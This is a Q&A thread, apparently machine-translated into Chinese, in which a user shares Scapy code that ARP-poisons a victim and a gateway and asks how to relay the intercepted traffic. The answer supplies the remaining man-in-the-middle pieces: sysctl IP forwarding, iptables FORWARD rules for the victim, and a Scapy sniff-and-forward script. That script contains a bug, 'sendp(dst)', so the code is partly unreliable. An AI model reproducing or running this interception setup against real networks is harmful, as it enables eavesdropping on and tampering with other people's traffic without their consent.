ARP 中毒时转发数据包 [在 Windows 中]

Question

我想在 ARP 中毒时制作一个"代理"，它适用于 UDP，如果我向谷歌发送 pkt，我会使用 wireshark 在我的电脑上看到它

def trick(gate_mac, victim_mac):
    '''Tricks the victim and the gate_way, using arp'''
    my_mac=ARP()
    my_mac=my_mac.hwsrc
    sendp(Ether(dst=ETHER_BROADCAST)/ARP(pdst= victim_ip, psrc = gate_ip, hwdst= victim_mac))
    sendp(Ether(dst=ETHER_BROADCAST)/ARP(pdst= gate_ip, psrc = victim_ip, hwdst= my_mac))
    print "TRICKED"

这就是我写给ARP Poison的功能，现在我想将从受害者的PC获得的所有数据包发送到路由器/但我不知道如何进行数据包转发。

Answer 1

您只需激活操作系统数据包转发即可。如果你运行的是Linux，一个简单的sysctl -w net.ipv4.ip_forward=1应该可以做到这一点。

您可能还需要让数据包通过防火墙;类似iptables -A FORWARD -s victim_ip -j ACCEPT; iptables -A FORWARD -d victim_ip -j ACCEPT应该可以工作(如果您再次使用Linux(。

在其他操作系统下，您需要了解如何启用数据包转发，并在需要时添加防火墙规则。如果无法启用数据包转发，可以运行另一个 Scapy 脚本来为您转发数据包。下面是一个示例：

VICTIM_MAC = "00:01:23:45:67:89"
GATEWAY_MAC = "00:98:76:54:32:10"
_SRC_DST = {
    GATEWAY_MAC: VICTIM_MAC,
    VICTIM_MAC: GATEWAY_MAC,
}
def forward_pkt(pkt):
    pkt[Ether].dst = _SRC_DST.get(pkt[Ether].src, GATEWAY_MAC)
    sendp(dst)
sniff(
    prn=forward_pkt,
    filter="ip and (ether src %s or ether src %s)" % (VICTIM_MAC,
                                                      GATEWAY_MAC)
)